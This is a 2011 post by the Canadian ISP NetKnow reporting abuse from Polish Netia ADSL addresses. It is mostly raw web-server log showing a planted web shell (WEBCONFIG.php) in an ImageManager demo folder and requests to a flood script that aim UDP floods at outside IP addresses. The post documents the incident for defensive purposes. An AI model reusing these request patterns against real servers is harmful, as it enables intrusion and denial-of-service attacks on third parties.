NetKnow has found inetia.pl / Netia S.A. of Poland/ netia.pl hijacking network bandwidth
Posted by Dave Yadallee on
We found the problem that was hitting up 9 May 2011
From out WEb Logs:
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:39:11 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/ HTTP/1.1" 200 1314 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:39:13 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php HTTP/1.1" 200 28483 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:39:17 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=back HTTP/1.1" 200 129 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:39:18 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=up HTTP/1.1" 200 209 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:39:18 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=forward HTTP/1.1" 200 129 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:39:18 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=search HTTP/1.1" 200 260 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:39:18 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=sort_asc HTTP/1.1" 200 95 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:39:18 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=buffer HTTP/1.1" 200 173 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:39:18 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=ext_diz HTTP/1.1" 200 1037 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:39:18 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=refresh HTTP/1.1" 200 210 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:39:18 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=download HTTP/1.1" 200 171 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:39:18 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=change HTTP/1.1" 200 300 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:39:18 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=small_dir HTTP/1.1" 200 174 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:39:18 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=ext_htaccess HTTP/1.1" 200 127 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:39:18 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=ext_lnk HTTP/1.1" 200 582 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:39:18 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=home HTTP/1.1" 200 219 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:39:18 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=ext_php HTTP/1.1" 200 89 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:39:18 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=arrow_ltr HTTP/1.1" 200 98 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:40:38 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=home HTTP/1.1" 200 219 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:40:38 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=buffer HTTP/1.1" 200 173 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:40:38 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=search HTTP/1.1" 200 260 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:40:38 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=up HTTP/1.1" 200 209 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:40:38 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=forward HTTP/1.1" 200 129 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:40:38 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=small_dir HTTP/1.1" 200 174 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:40:38 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=back HTTP/1.1" 200 129 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:40:36 -0600] "POST /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php HTTP/1.1" 200 28262 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:40:38 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=ext_lnk HTTP/1.1" 200 582 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:40:38 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=ext_htaccess HTTP/1.1" 200 127 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:40:38 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=ext_diz HTTP/1.1" 200 1037 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:40:38 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=refresh HTTP/1.1" 200 210 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:40:38 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=download HTTP/1.1" 200 171 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:40:38 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=change HTTP/1.1" 200 300 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:40:38 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=ext_php HTTP/1.1" 200 89 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:40:38 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=sort_asc HTTP/1.1" 200 95 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:40:39 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=change HTTP/1.1" 200 300 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:40:39 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=arrow_ltr HTTP/1.1" 200 98 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:40:39 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=ext_diz HTTP/1.1" 200 1037 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:40:39 -0600] "GET /favicon.ico HTTP/1.1" 200 2238 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:41:03 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=home HTTP/1.1" 200 219 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:41:03 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=back HTTP/1.1" 200 129 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:41:04 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=up HTTP/1.1" 200 209 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:41:04 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=buffer HTTP/1.1" 200 173 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:41:04 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=sort_asc HTTP/1.1" 200 95 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:41:04 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=refresh HTTP/1.1" 200 210 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:41:04 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=forward HTTP/1.1" 200 129 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:41:04 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=ext_diz HTTP/1.1" 200 1037 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:41:04 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=change HTTP/1.1" 200 300 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:41:04 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=small_dir HTTP/1.1" 200 174 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:41:04 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=ext_lnk HTTP/1.1" 200 582 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:41:01 -0600] "POST /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php HTTP/1.1" 200 29455 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:41:04 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=ext_htaccess HTTP/1.1" 200 127 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:41:04 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=arrow_ltr HTTP/1.1" 200 98 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:41:04 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=ext_php HTTP/1.1" 200 89 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:41:04 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=search HTTP/1.1" 200 260 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:41:06 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=download HTTP/1.1" 200 171 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:41:07 -0600] "GET /favicon.ico HTTP/1.1" 200 2238 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:41:16 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/ HTTP/1.1" 200 1210 "-" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:41:27 -0600] "POST /blog/htmlarea/plugins/ImageManager/demo_images/index.php? HTTP/1.1" 302 1280 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:41:28 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php? HTTP/1.1" 200 1280 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:41:36 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php?type=UDP HTTP/1.1" 200 1375 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php?" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:41:49 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php HTTP/1.1" 200 1280 "-" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:47:11 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php HTTP/1.1" 200 1280 "-" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:47:12 -0600] "GET /favicon.ico HTTP/1.1" 200 2238 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:47:57 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php?type=UDP HTTP/1.1" 200 1375 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:47:58 -0600] "GET /favicon.ico HTTP/1.1" 200 2238 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php?type=UDP" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:48:04 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php?host=213.46.211.62&time=60&type=UDP HTTP/1.1" 200 1209 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php?type=UDP" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:14:20:07 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php HTTP/1.1" 200 1210 "-" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:14:20:08 -0600] "GET /favicon.ico HTTP/1.1" 200 2238 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:14:20:59 -0600] "POST /blog/htmlarea/plugins/ImageManager/demo_images/index.php? HTTP/1.1" 302 1280 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:14:20:59 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php? HTTP/1.1" 200 1280 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:14:21:28 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php?type=UDP HTTP/1.1" 200 1375 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php?" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:14:21:33 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php?host=84.97.140.105&time=60&type=UDP HTTP/1.1" 200 1212 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php?type=UDP" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:14:25:00 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php?host=84.97.140.105&time=60&type=UDP HTTP/1.1" 200 1212 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php?host=84.97.140.105&time=60&type=UDP" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:14:55:24 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php HTTP/1.1" 200 1280 "-" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:14:56:45 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php?type=UDP HTTP/1.1" 200 1375 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:14:57:23 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php?host=41.227.214.245&time=100&type=UDP HTTP/1.1" 200 1214 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php?type=UDP" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
77-255-95-67.adsl.inetia.pl - - [09/May/2011:10:03:05 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php?host=41.227.214.245&time=100&type=UDP HTTP/1.1" 200 1247 "-" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
77-255-95-67.adsl.inetia.pl - - [09/May/2011:11:39:44 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php HTTP/1.1" 200 1210 "-" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
77-255-95-67.adsl.inetia.pl - - [09/May/2011:11:41:20 -0600] "POST /blog/htmlarea/plugins/ImageManager/demo_images/index.php? HTTP/1.1" 302 1280 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
77-255-95-67.adsl.inetia.pl - - [09/May/2011:11:41:21 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php? HTTP/1.1" 200 1280 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
77-255-95-67.adsl.inetia.pl - - [09/May/2011:11:41:24 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php?type=UDP HTTP/1.1" 200 1375 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php?" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
77-255-95-67.adsl.inetia.pl - - [09/May/2011:11:41:30 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php?host=197.200.77.81&time=100&type=UDP HTTP/1.1" 200 1213 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php?type=UDP" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
77-255-95-67.adsl.inetia.pl - - [09/May/2011:11:44:39 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php HTTP/1.1" 200 1280 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php?host=197.200.77.81&time=100&type=UDP" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
